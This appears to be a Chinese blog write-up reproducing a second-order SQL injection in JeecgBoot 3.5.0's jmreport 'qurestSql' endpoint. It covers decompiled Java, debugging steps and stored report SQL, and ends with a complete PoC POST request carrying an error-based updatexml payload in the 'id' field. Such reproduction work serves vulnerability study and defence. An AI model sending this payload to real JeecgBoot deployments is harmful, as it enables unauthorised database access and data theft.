JeecgBootSql二次注入复现

这篇具有很好参考价值的文章主要介绍了JeecgBootSql二次注入复现。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

版本为最新版本3.5.0 发布日期:2023-03-08

Poc地址:

https://github.com/J0hnWalker/jeecg-boot-sqli

复现过程

漏洞原理很简单,但是由于个人配置的原因环境搭建很慢,下图是搭建完成后的后台主页。当然前端搭不搭建无所谓

jeecg sql,java,web安全

漏洞产生的地方来自于JeecgBoot后端的集成积木报表功能

来看漏洞产生直接原因,这个函数需要用post请求,请求的内容是json

@PostMapping({"/qurestSql"})
public Result<?> b(@RequestBody JSONObject var1, HttpServletRequest var2) {
    String var3 = var1.getString("apiSelectId");
    var1.remove("apiSelectId");
    JmReportDb var4 = this.reportDbService.getById(var3);
    List var5 = this.reportDbService.qurestechSql(var4, var1);
    this.jmReportDesignService.replaceDbCode(var4, var5);
    return Result.OK(e.b(var5));
}

那么对http://127.0.0.1:8080/jeecg-boot/jmreport/qurestSql构造post请求,请求头加入Content-Type: application/json

POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json;charset=UTF-8

{
"apiSelectId":"123456"
}

在idea中断下来进行调试,我们来看看这个函数的流程

jeecg sql,java,web安全

var1是传进来的json,var2是包装的http请求

步过getString

jeecg sql,java,web安全

var3取得了json里apiSelectId的value.

步过remove

jeecg sql,java,web安全

remove后 var1变为空,apiSelectId被删除了

步过this.reportDbService.getById(var3);var4=null

步过qurestechSql;var5 =null

再步过replaceDbCode抛出异常然后返回response

现在再重新回过头从getById开始分析这些函数

找到getById的实现

public JmReportDb getById(String apiSelectId) {
    return this.reportDbDao.get(apiSelectId);
}

返回reportDbDao.get,参数是一个字符串,也就是apiSelectId的value,跟进get

@Sql("SELECT * FROM jimu_report_db WHERE ID = :id")
JmReportDb get(@Param("id") String var1);

注解提示传入的参数是id,结合上面给出的sql语句说明这个函数根据变量id去查询jimu_report_db的所有内容,也就是说我们传入的参数是主键

可以先去看看这个表有什么东西

jeecg sql,java,web安全

发现了有意思的东西,db_dyn_sql这个columns里存了很多的sql语句,这也是二次注入漏洞的原因,我们先尝试能不能通过getById拿到这些sql语句

前面的代码里,apiSelectId的键值会作为var3传入getById,我所以我们可以重新构造一下请求的json

POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json;charset=UTF-8

{
"apiSelectId":"1290104038414721025"
}

这里以poc里的id为例

jeecg sql,java,web安全

传入我们要查询的id,步过后查看var4

jeecg sql,java,web安全

通过getById返回的结果集var4,可以发现dbDynSql就是我们通过id找到的sql

步过qurestechSql

jeecg sql,java,web安全

通过观察var5发现我们的Sql执行了,说明这个函数会去执行dbDynSql

jeecg sql,java,web安全

验证一下发现查询的是id=1这条

可这个函数的参数有俩个,var4里有我们需要执行的sql,var1是干嘛的呢,从POC验证的结果推测应该是作为sql语句的参数id传入,有兴趣可以继续分析一下下面这个函数

public List<Map<String, Object>> qurestechSql(JmReportDb jmReportDb, JSONObject paramObject) {
    if (jmReportDb == null) {
        return null;
    } else {
        String var3 = jmReportDb.getDbDynSql();
        List var4 = this.dbParamDao.list(jmReportDb.getId());
        JSONObject var5 = new JSONObject();
        Iterator var6 = var4.iterator();

        while(var6.hasNext()) {
            JmReportDbParam var7 = (JmReportDbParam)var6.next();
            if (g.d(var7.getParamValue())) {
                var5.put(var7.getParamName(), var7.getParamValue());
            }
        }

        Map var11 = e.a(jmReportDb, paramObject);
        JSONObject var12 = (JSONObject)var11.get("shared_query_param");
        var5.putAll(paramObject);
        String var8 = this.jimuReportService.getDbSql(jmReportDb, var5, var12, new ArrayList(), "");
        String var9 = e.e(var8);
        String var10 = jmReportDb.getDbSource();
        if (g.d(var9)) {
            return this.jmreportDynamicDbUtil.a(var10, var9);
        } else if (this.jmReportDbSourceService.isNoSql(var10)) {
            return this.jmreportNoSqlService.findList(var8, var10);
        } else if (g.c(jmReportDb.getDbSource())) {
            return this.reportDbDao.selectListBySql(var8);
        } else {
            return this.jmreportDynamicDbUtil.b(jmReportDb.getDbSource(), var8, new Object[0]);
        }
    }
}

最后形成poc,

POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json;charset=UTF-8

{
"apiSelectId":"1290104038414721025",
"id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '"
}

var1 remove后只剩下恶意的payload

jeecg sql,java,web安全

报错注入的结果

jeecg sql,java,web安全文章来源地址https://www.toymoban.com/news/detail-689744.html

到了这里,关于JeecgBootSql二次注入复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Web安全-初识SQL注入(一)

    将不受信任的数据作为命令或查询的一部分发送到解析器时,会产生诸如SQL注入、NoSQL注入、OS 注入和LDAP注入的注入缺陷。攻击者的恶意数据可以诱使解析器在没有适当授权的情况下执行非预期命令或访问数据。 注入能导致数据丢失、 破坏或泄露给无授权方,缺乏可审计性

    2024年02月05日
    浏览(47)
  • 《Web安全基础》03. SQL 注入

    本系列侧重方法论,各工具只是实现目标的载体。 命令与工具只做简单介绍,其使用另见《安全工具录》。 靶场使用 SQLi-Labs。详情参见《WriteUp:SQLi-Labs》 SQL 注入非常复杂,区分各种数据库类型,提交方法,数据类型等注入。此类漏洞是 WEB 安全中严重的漏洞,学习如何利

    2024年02月14日
    浏览(32)
  • Web安全:SQL注入漏洞测试.

    SQL注入就是 有些 恶意用户在提交查询请求的过程中 将SQL语句插入到请求内容 中,同时程序的本身对用户输入的内容过于相信, 没有对用户插入的SQL语句进行任何的过滤 ,从而 直接被SQL语句直接被服务端执行 ,导致数据库的原有信息泄露,篡改,甚至被删除等风险。 SQL注

    2024年02月05日
    浏览(54)
  • Jeecg-Boot 存在前台SQL注入漏洞(CVE-2023-1454)

    微信公众号搜索:南风漏洞复现文库 南风网络安全公众号首发 eecgBoot是一款基于BPM的低代码平台!前后端分离架构 SpringBoot 2.x,SpringCloud,Ant DesignVue,Mybatis-plus,Shiro,JWT,支持微服务。强大的代码生成器让前后端代码一键生成,实现低代码开发#x

    2024年02月06日
    浏览(141)
  • Jeecg-Boot 未授权SQL注入漏洞(CVE-2023-1454)

    原创文章创作不易,个人博客charis3306.top  JDK: 1.8+ (小于11) Maven: 3.5+ MySql: 5.7+ Redis: 3.2 + Node Js: 10.0 + Npm: 5.6.0+ Yarn: 1.21.1+ 下载源码 后端源码 https://github.com/jeecgboot/jeecg-boot/tree/v3.5.0 前端源码 https://github.com/jeecgboot/jeecgboot-vue3 安装手册 http://doc.jeecg.com/2043871 下载完成后放在bc中。

    2024年02月05日
    浏览(43)
  • Web安全-SQL注入常用函数(二)

    ★★实战前置声明★★ 文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。 初始化安装MySQL数据库后(基于MySQL版本5.7.x),默认会创建4个系统数据库: 以下内

    2024年01月19日
    浏览(52)
  • Web安全之SQL注入绕过技巧

    两个空格代替一个空格,用Tab代替空格,%a0=空格:   最基本的绕过方法,用注释替换空格: 使用浮点数: 如果空格被过滤,括号没有被过滤,可以用括号绕过。 在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两

    2024年02月07日
    浏览(42)
  • web安全漏洞-SQL注入攻击实验

    实验目的 学习sql显注的漏洞判断原理 掌握sqlmap工具的使用 分析SQL注入漏洞的成因 实验工具 sqlmap是用python写的开源的测试框架,支持MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase,SAP,MAXDB并支持6种SQL注入手段。 实验内容 SQL注入(SQL I

    2024年02月06日
    浏览(55)
  • 加强Web应用程序安全:防止SQL注入

    数据库在Web应用程序中存储和组织数据时起着至关重要的作用,它是存储用户信息、内容和其他应用程序数据的中央存储库。而数据库实现了高效的数据检索、操作和管理,使Web应用程序能够向用户提供动态和个性化的内容。然而,数据库和网络应用程序之间的通信不畅可能

    2024年02月14日
    浏览(39)
  • 金山终端安全系统V9.0 update_software_info_v2.php处SQL注入漏洞复现 [附POC]

    免责声明:请勿利用文章内的相关

    2024年02月03日
    浏览(58)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包